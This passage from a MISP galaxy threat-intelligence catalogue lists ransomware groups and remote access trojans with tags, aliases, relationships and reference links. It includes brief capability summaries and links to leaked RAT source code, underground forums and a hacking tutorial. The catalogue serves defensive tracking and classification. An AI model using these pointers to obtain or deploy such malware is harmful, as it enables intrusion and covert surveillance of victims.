- similar: `misp-galaxy:ransomware="AvosLocker"` with `estimative-language:likelihood-probability="very-likely"`

### Aztroteam

The tag is: `misp-galaxy:ransomware="Aztroteam"`

### Babuk-Locker

The tag is: `misp-galaxy:ransomware="Babuk-Locker"`

**View relationships graph**

Babuk-Locker has relationships with:

- similar: `misp-galaxy:ransomware="Babuk Ransomware"` with `estimative-language:likelihood-probability="very-likely"`

### Babyduck

The tag is: `misp-galaxy:ransomware="Babyduck"`

**Table 7969. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/PolarToffee/status/1445873002801889280/photo/3">https://twitter.com/PolarToffee/status/1445873002801889280/photo/3</a></td>
</tr>
</tbody>
</table>

### Bianlian

BianLian used subtle techniques to exploit, enumerate, and move laterally in victim networks to remain undetected and aggressively worked to counter Endpoint Detection & Response (EDR) protections during the encryption phase of their operations. The group has displayed signs of being new to the practical business aspects of ransomware and associated logistics. Generally they seemed to be experiencing the growing pains of a group of talented hackers new to this aspect of criminal extortion.

Infrastructure associated with the BianLian group first appeared online in December 2021 and their toolset appears to have been under active development since then. Finally, we have observed the BianLian threat actor tripling their known command and control (C2) infrastructure in the
month of August, suggesting a possible increase in the actor's operational tempo.

The tag is: *misp-galaxy:ransomware="Bianlian"*

Bianlian is also known as:

- Hydra

View relationships graph

Bianlian has relationships with:

- similar: *misp-galaxy:ransomware="Hydra" with estimative-language:likelihood-probability="likely"

**Table 7970. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/">https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/android-bianlian-payload-61febabed00a">https://cryptax.medium.com/android-bianlian-payload-61febabed00a</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221">https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221</a></td>
</tr>
<tr>
<td><a href="https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5">https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5</a></td>
</tr>
<tr>
<td><a href="https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/">https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1558548947584548865">https://twitter.com/malwrhunterteam/status/1558548947584548865</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware">https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware</a></td>
</tr>
<tr>
<td><a href="https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html">https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=DPFcvSy4OZk">https://www.youtube.com/watch?v=DPFcvSy4OZk</a></td>
</tr>
</tbody>
</table>

**Blackshadow**

The tag is: *misp-galaxy:ransomware="Blackshadow"*
**Blacktor**
The tag is: `misp-galaxy:ransomware="Blacktor"`

**Bluesky**
The tag is: `misp-galaxy:ransomware="Bluesky"`

**Bonacigroup**
The tag is: `misp-galaxy:ransomware="Bonacigroup"`

**Cheers**
The tag is: `misp-galaxy:ransomware="Cheers"`

**Cooming**
The tag is: `misp-galaxy:ransomware="Cooming"`

**Crylock**
The tag is: `misp-galaxy:ransomware="Crylock"`

Crylock is also known as:
  • Cryakl

**Cuba**
The tag is: `misp-galaxy:ransomware="Cuba"`

Cuba is also known as:
  • COLDDRAW

**Daixin**
The tag is: `misp-galaxy:ransomware="Daixin"`

**Dark Power**
The tag is: `misp-galaxy:ransomware="Dark Power"`
Darkangel
The tag is: misp-galaxy:ransomware="Darkangel"

Darkbit01
The tag is: misp-galaxy:ransomware="Darkbit01"

Dataleak
The tag is: misp-galaxy:ransomware="Dataleak"

Diavol
The tag is: misp-galaxy:ransomware="Diavol"

Donutleaks
The tag is: misp-galaxy:ransomware="Donutleaks"

Endurance
The tag is: misp-galaxy:ransomware="Endurance"

Entropy
The tag is: misp-galaxy:ransomware="Entropy"

Ep918
The tag is: misp-galaxy:ransomware="Ep918"

Everest
The tag is: misp-galaxy:ransomware="Everest"

Freecivilian
The tag is: misp-galaxy:ransomware="Freecivilian"

Fsteam
The tag is: misp-galaxy:ransomware="Fsteam"
Grief
The tag is: misp-galaxy:ransomware="Grief"

Groove
The tag is: misp-galaxy:ransomware="Groove"

Haron
The tag is: misp-galaxy:ransomware="Haron"

Hotarus
The tag is: misp-galaxy:ransomware="Hotarus"

Icefire
The tag is: misp-galaxy:ransomware="Icefire"

Justice_Blade
The tag is: misp-galaxy:ransomware="Justice_Blade"

Kelvin Security
The tag is: misp-galaxy:ransomware="Kelvin Security"

Lapsus$
The tag is: misp-galaxy:ransomware="Lapsus$"

Lilith
The tag is: misp-galaxy:ransomware="Lilith"

Lockbit3
The tag is: misp-galaxy:ransomware="Lockbit3"

View relationships graph

Lockbit3 has relationships with:

• similar: misp-galaxy:ransomware="LockBit" with estimative-language:likelihood-
Lolnek
The tag is: misp-galaxy:ransomware="Lolnek"

Lv
The tag is: misp-galaxy:ransomware="Lv"

Mallox
The tag is: misp-galaxy:ransomware="Mallox"

Mbc
The tag is: misp-galaxy:ransomware="Mbc"

Midas
The tag is: misp-galaxy:ransomware="Midas"

Moisha
The tag is: misp-galaxy:ransomware="Moisha"

Monte
The tag is: misp-galaxy:ransomware="Monte"

Monti
The tag is: misp-galaxy:ransomware="Monti"

Mydecryptor
The tag is: misp-galaxy:ransomware="Mydecryptor"

N3Tworm
The tag is: misp-galaxy:ransomware="N3Tworm"
Netwalker
The tag is: misp-galaxy:ransomware="Netwalker"

Nevada
The tag is: misp-galaxy:ransomware="Nevada"

Nightsky
The tag is: misp-galaxy:ransomware="Nightsky"

Nokoyawa
The tag is: misp-galaxy:ransomware="Nokoyawa"

Onepercent
The tag is: misp-galaxy:ransomware="Onepercent"

Payloadbin
The tag is: misp-galaxy:ransomware="Payloadbin"

Prometheus
The tag is: misp-galaxy:ransomware="Prometheus"

Qilin
The tag is: misp-galaxy:ransomware="Qilin"

Qlocker
The tag is: misp-galaxy:ransomware="Qlocker"

Ramp
The tag is: misp-galaxy:ransomware="Ramp"

Ransomcartel
The tag is: misp-galaxy:ransomware="Ransomcartel"
Ransomhouse
The tag is: misp-galaxy:ransomware="Ransomhouse"

Ranzy
The tag is: misp-galaxy:ransomware="Ranzy"

Relic
The tag is: misp-galaxy:ransomware="Relic"

Royal
The tag is: misp-galaxy:ransomware="Royal"

Rransom
The tag is: misp-galaxy:ransomware="Rransom"

Sabbath
The tag is: misp-galaxy:ransomware="Sabbath"

Solidbit
The tag is: misp-galaxy:ransomware="Solidbit"

Sparta
The tag is: misp-galaxy:ransomware="Sparta"

Spook
The tag is: misp-galaxy:ransomware="Spook"

Stormous
The tag is: misp-galaxy:ransomware="Stormous"

Unknown
The tag is: misp-galaxy:ransomware="Unknown"
Unsafe
The tag is: misp-galaxy:ransomware="Unsafe"

V Is Vendetta
The tag is: misp-galaxy:ransomware="V Is Vendetta"
View relationships graph
V Is Vendetta has relationships with:
  • similar: misp-galaxy:ransomware="Samas-Samsam" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:ransomware="Vendetta" with estimative-language:likelihood-probability="likely"

Vfokx
The tag is: misp-galaxy:ransomware="Vfokx"

Vicesociety
The tag is: misp-galaxy:ransomware="Vicesociety"

Vsop
The tag is: misp-galaxy:ransomware="Vsop"

Xinglocker
The tag is: misp-galaxy:ransomware="Xinglocker"

Xinof
The tag is: misp-galaxy:ransomware="Xinof"

Yanluowang
The tag is: misp-galaxy:ransomware="Yanluowang"

RAT
remote administration tool or remote access tool (RAT), also called sometimes remote access trojan, is a piece of software or programming that allows a remote "operator" to control a system as if they
have physical access to that system.

RAT is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various - raw-data

Iperius Remote

Iperius Remote is advertised with these features: Control remotely any computer with Iperius Remote Desktop Free. For remote support or presentations. Ideal for technical assistance. Easy to use and secure.

The tag is: misp-galaxy:rat="Iperius Remote"

Table 7971. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.iperiusremote.com">https://www.iperiusremote.com</a></td>
<td></td>
</tr>
</tbody>
</table>

TeamViewer

TeamViewer is a proprietary computer software package for remote control, desktop sharing, online meetings, web conferencing and file transfer between computers.

The tag is: misp-galaxy:rat="TeamViewer"

Table 7972. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.teamviewer.com">https://www.teamviewer.com</a></td>
<td></td>
</tr>
</tbody>
</table>

JadeRAT

JadeRAT is just one example of numerous mobile surveillanceware families we’ve seen in recent months, indicating that actors are continuing to incorporate mobile tools in their attack chains. Threat actor, using a tool called JadeRAT, targets the mobile phones of ethnic minorities in China, notably Uighurs, for the purpose of espionage.

The tag is: misp-galaxy:rat="JadeRAT"

View relationships graph

JadeRAT has relationships with:

• similar: misp-galaxy:malpedia="JadeRAT" with estimative-language:likelihood-probability="likely"
**Back Orifice**

Back Orifice (often shortened to BO) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location.

The tag is: `misp-galaxy:rat="Back Orifice"`

Back Orifice is also known as:

- BO

**Netbus**

NetBus or Netbus is a software program for remotely controlling a Microsoft Windows computer system over a network. It was created in 1998 and has been very controversial for its potential of being used as a backdoor.

The tag is: `misp-galaxy:rat="Netbus"`

Netbus is also known as:

- NetBus

**PoisonIvy**

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: `misp-galaxy:rat="PoisonIvy"`
PoisonIvy is also known as:

- Poison Ivy
- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

View relationships graph

PoisonIvy has relationships with:

- similar: misp-galaxy:mitre-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"

Table 7976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml">https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml</a></td>
</tr>
</tbody>
</table>

Sub7

Sub7, or SubSeven or Sub7Server, is a Trojan horse program.[1] Its name was derived by spelling NetBus backwards ("suBteN") and swapping "ten" with "seven". Sub7 was created by Mobman. Mobman has not maintained or updated the software since 2004, however an author known as Read101 has carried on the Sub7 legacy.

The tag is: *misp-galaxy:rat="Sub7"*

Sub7 is also known as:

- SubSeven
- Sub7Server

Table 7977. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Beast Trojan

Beast is a Windows-based backdoor trojan horse, more commonly known in the hacking community as a Remote Administration Tool or a "RAT". It is capable of infecting versions of Windows from 95 to 10.

The tag is: `misp-galaxy:rat="Beast Trojan"`

<table>
<thead>
<tr>
<th>Table 7978. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Beast_(Trojan_horse)">https://en.wikipedia.org/wiki/Beast_(Trojan_horse)</a></td>
</tr>
</tbody>
</table>

Bifrost

Bifrost is a discontinued backdoor trojan horse family of more than 10 variants which can infect Windows 95 through Windows 10 (although on modern Windows systems, after Windows XP, its functionality is limited). Bifrost uses the typical server, server builder, and client backdoor program configuration to allow a remote attacker, who uses the client, to execute arbitrary code on the compromised machine (which runs the server whose behavior can be controlled by the server editor).

The tag is: `misp-galaxy:rat="Bifrost"`

<table>
<thead>
<tr>
<th>Table 7979. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html">http://malware-info.blogspot.lu/2008/10/bifrost-trojan.html</a></td>
</tr>
</tbody>
</table>

Blackshades

Blackshades is the name of a malicious trojan horse used by hackers to control computers remotely. The malware targets computers using Microsoft Windows -based operating systems.[2] According to US officials, over 500,000 computer systems have been infected worldwide with the software.

The tag is: `misp-galaxy:rat="Blackshades"`

View relationships graph

Blackshades has relationships with:

- similar: `misp-galaxy:tool="Blackshades"` with `estimative-language:likelihood-probability="likely"`

<table>
<thead>
<tr>
<th>Table 7980. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/">https://krebsonsecurity.com/2014/05/blackshades-trojan-users-had-it-coming/</a></td>
</tr>
</tbody>
</table>
DarkComet

DarkComet is a Remote Administration Tool (RAT) which was developed by Jean-Pierre Lesueur (known as DarkCoderSc), an independent programmer and computer security coder from the United Kingdom. Although the RAT was developed back in 2008, it began to proliferate at the start of 2012.

The tag is: misp-galaxy:rat="DarkComet"

DarkComet is also known as:

- Dark Comet

View relationships graph

DarkComet has relationships with:

- similar: misp-galaxy:tool="Dark Comet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Table 7981. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/">https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/</a></td>
</tr>
</tbody>
</table>

Lanfiltrator

Backdoor.Lanfiltrator is a backdoor Trojan that gives an attacker unauthorized access to a compromised computer. The detection is used for a family of Trojans that are produced by the Backdoor.Lanfiltrator generator.

The tag is: misp-galaxy:rat="Lanfiltrator"

Table 7982. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Win32.HsIdir

Win32.HsIdir is an advanced remote administrator tool systems was done by the original author HS32-Idir, it is the development of the release made since 2006 Copyright © 2006-2010 HS32-Idir.

The tag is: misp-galaxy:rat="Win32.HsIdir"

Table 7983. Table References
Optix Pro

Optix Pro is a configurable remote access tool or Trojan, similar to SubSeven or BO2K.

The tag is: misp-galaxy:rat="Optix Pro"

Table 7984. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://lexmarket.su/thread-27692.html">http://lexmarket.su/thread-27692.html</a></td>
</tr>
<tr>
<td><a href="https://www.nulled.to/topic/129749-win32hsidir-rat/">https://www.nulled.to/topic/129749-win32hsidir-rat/</a></td>
</tr>
</tbody>
</table>

Back Orifice 2000

Back Orifice 2000 (often shortened to BO2k) is a computer program designed for remote system administration. It enables a user to control a computer running the Microsoft Windows operating system from a remote location. The name is a pun on Microsoft BackOffice Server software. Back Orifice 2000 is a new version of the famous Back Orifice backdoor trojan (hacker's remote access tool). It was created by the Cult of Dead Cow hackers group in July 1999. Originally the BO2K was released as a source code and utilities package on a CD-ROM. There are reports that some files on that CD-ROM were infected with CIH virus, so the people who got that CD might get infected and spread not only the compiled backdoor, but also the CIH virus.

The tag is: misp-galaxy:rat="Back Orifice 2000"

Back Orifice 2000 is also known as:

- BO2k

Table 7985. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.f-secure.com/v-descs/bo2k.shtml">https://www.f-secure.com/v-descs/bo2k.shtml</a></td>
</tr>
</tbody>
</table>

RealVNC

The software consists of a server and client application for the Virtual Network Computing (VNC)
protocol to control another

The tag is: misp-galaxy:rat="RealVNC"

RealVNC is also known as:

- VNC Connect
- VNC Viewer

Table 7986. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.realvnc.com/">https://www.realvnc.com/</a></td>
</tr>
</tbody>
</table>

**Adwind RAT**

Backdoor:Java/Adwind is a Java archive (.JAR) file that drops a malicious component onto the machines and runs as a backdoor. When active, it is capable of stealing user information and may also be used to distribute other malware.

The tag is: misp-galaxy:rat="Adwind RAT"

Adwind RAT is also known as:

- UNRECOM
- UNiversal REmote COntrol Multi-Platform
- Frutas
- AlienSpy
- Unrecom
- Jsocket
- JBifrost

View relationships graph

Adwind RAT has relationships with:

- similar: misp-galaxy:tool="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 7987. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Albertino Advanced RAT

The tag is: misp-galaxy:rat="Albertino Advanced RAT"

Table 7988. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/">https://www.virustotal.com/en/file/b31812e5b4c63c5b52c9b23e76a5ea9439465ab366a9291c6074bfae5c328e73/analysis/1359376345/</a></td>
</tr>
</tbody>
</table>

Arcom

The malware is a Remote Access Trojan (RAT), known as Arcom RAT, and it is sold on underground forums for $2000.00.

The tag is: misp-galaxy:rat="Arcom"

Table 7989. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

BlackNix

BlackNix rat is a rat coded in delphi.

The tag is: misp-galaxy:rat="BlackNix"

Table 7990. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://leakforums.net/thread-18123?tid=18123&amp;amp;pq=1">https://leakforums.net/thread-18123?tid=18123&amp;amp;pq=1</a></td>
</tr>
</tbody>
</table>

Blue Banana

Blue Banana is a RAT (Remote Administration Tool) created purely in Java

The tag is: misp-galaxy:rat="Blue Banana"

Table 7991. Table References
Bozok

Bozok, like many other popular RATs, is freely available. The author of the Bozok RAT goes by the moniker “Slayer616” and has created another RAT known as Schwarze Sonne, or “SS-RAT” for short. Both of these RATs are free and easy to find — various APT actors have used both in previous targeted attacks.

The tag is: misp-galaxy:rat="Bozok"

View relationships graph

Bozok has relationships with:

- similar: misp-galaxy:malpedia="Bozok" with estimative-language:likelihood-probability="likely"

Table 7992. Table References

ClientMesh

ClientMesh is a Remote Administration Application which allows a user to control a number of client PCs from around the world.

The tag is: misp-galaxy:rat="ClientMesh"

Table 7993. Table References

CyberGate

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed. Using cybergate you can log the victim’s passwords and can also get the screen shots of his computer's screen.

The tag is: misp-galaxy:rat="CyberGate"
CyberGate has relationships with:

- similar: misp-galaxy:malpedia="CyberGate" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 7994. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

**Dark DDoSeR**

The tag is: misp-galaxy:rat="Dark DDoSeR"

<table>
<thead>
<tr>
<th>Table 7995. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="http://meinblogzumtesten.blogspot.lu/2013/05/dark-ddoser-v56c-cracked.html" alt="Image" /></td>
</tr>
</tbody>
</table>

**DarkRat**

In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: misp-galaxy:rat="DarkRat"

DarkRat is also known as:

- DarkRAT

<table>
<thead>
<tr>
<th>Table 7996. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://www.infosecurity-magazine.com/blogs/the-dark-rat/" alt="Image" /></td>
</tr>
</tbody>
</table>

**Greame**

The tag is: misp-galaxy:rat="Greame"
HawkEye

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: misp-galaxy:rat="HawkEye"

jRAT

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: misp-galaxy:rat="jRAT"

jRAT is also known as:

• JacksBot

View relationships graph

jRAT has relationships with:

• similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"

jSpy

jSpy is a Java RAT.

The tag is: misp-galaxy:rat="jSpy"

View relationships graph
jSpy has relationships with:

- similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"

**LuxNET**

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: *misp-galaxy:rat="LuxNET"*

**NJRat**

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: *misp-galaxy:rat="NJRat"*

NJRat is also known as:

- Njw0rm

View relationships graph

NJRat has relationships with:

- similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"
**Pandora**

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: *misp-galaxy:rat="Pandora"*

*Table 8003. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Predator Pain**

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.

The tag is: *misp-galaxy:rat="Predator Pain"*

Predator Pain is also known as:

- PredatorPain

*View relationships graph*

Predator Pain has relationships with:

- similar: *misp-galaxy:malpedia="HawkEye Keylogger"* with estimative-language:likelihood-probability="likely"

*Table 8004. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Punisher RAT**

Remote administration tool

The tag is: *misp-galaxy:rat="Punisher RAT"*

*Table 8005. Table References*
SpyGate

This is tool that allow you to control your computer form anywhere in world with full support to unicode language.

The tag is: misp-galaxy:rat="SpyGate"

Table 8006. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://punisher-rat.blogspot.lu/">http://punisher-rat.blogspot.lu/</a></td>
</tr>
</tbody>
</table>

Small-Net

RAT

The tag is: misp-galaxy:rat="Small-Net"

Small-Net is also known as:

- SmallNet

Table 8007. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://small-net-rat.blogspot.lu/">http://small-net-rat.blogspot.lu/</a></td>
</tr>
</tbody>
</table>

Vantom

Vantom is a free RAT with good option and very stable.

The tag is: misp-galaxy:rat="Vantom"

Table 8008. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.rekings.com/vantom-rat/">https://www.rekings.com/vantom-rat/</a></td>
</tr>
</tbody>
</table>

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.
XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program.

Gh0st RAT has relationships with:

- similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="APT14" with estimative-language:likelihood-probability="likely"
Plasma RAT

Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: misp-galaxy:rat="Plasma RAT"

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: misp-galaxy:rat="Babylon"

Imminent Monitor

RAT

The tag is: misp-galaxy:rat="Imminent Monitor"

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes
with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.

The tag is: `misp-galaxy:rat="DroidJack"`

**Quasar RAT**

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: `misp-galaxy:rat="Quasar RAT"`

View relationships graph

Quasar RAT has relationships with:

- similar: `misp-galaxy:malpedia="Quasar RAT"` with `estimative-language:likelihood-probability="likely"`
- used-by: `misp-galaxy:threat-actor="Kimsuky"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:tool="QUASARRAT"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:mitre-tool="QuasarRAT - S0262"` with `estimative-language:likelihood-probability="likely"`

**Dendroid**

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have

---

**Table 8016. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://droidjack.net/">http://droidjack.net/</a></td>
</tr>
</tbody>
</table>

**Table 8017. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/quasar/QuasarRAT">https://github.com/quasar/QuasarRAT</a></td>
</tr>
</tbody>
</table>

5382
follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: *misp-galaxy:rat="Dendroid"

**View relationships graph**

Dendroid has relationships with:

- similar: *misp-galaxy:mitre-malware="Dendroid - S0301" with estimative-language:likelihood-probability="likely"

**Table 8018. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/qqshow/dendroid">https://github.com/qqshow/dendroid</a></td>
</tr>
<tr>
<td><a href="https://github.com/nyx0/Dendroid">https://github.com/nyx0/Dendroid</a></td>
</tr>
</tbody>
</table>

**Ratty**

A Java R.A.T. program

The tag is: *misp-galaxy:rat="Ratty"

**View relationships graph**

Ratty has relationships with:

- similar: *misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"

**Table 8019. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/shotskeber/Ratty">https://github.com/shotskeber/Ratty</a></td>
</tr>
</tbody>
</table>

**RaTRon**

Java RAT

The tag is: *misp-galaxy:rat="RaTRon"

**Table 8020. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://leakforums.net/thread-405562?tid=405562&amp;pq=1">https://leakforums.net/thread-405562?tid=405562&amp;pq=1</a></td>
</tr>
</tbody>
</table>
Arabian-Attacker RAT

The tag is: misp-galaxy:rat="Arabian-Attacker RAT"

Table 8021. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://arabian-attacker.software.informer.com/">http://arabian-attacker.software.informer.com/</a></td>
</tr>
</tbody>
</table>

Androrat

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The tag is: misp-galaxy:rat="Androrat"

Table 8022. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/">https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/</a></td>
</tr>
<tr>
<td><a href="https://github.com/wszf/androrat">https://github.com/wszf/androrat</a></td>
</tr>
</tbody>
</table>

Adzok

Remote Administrator

The tag is: misp-galaxy:rat="Adzok"

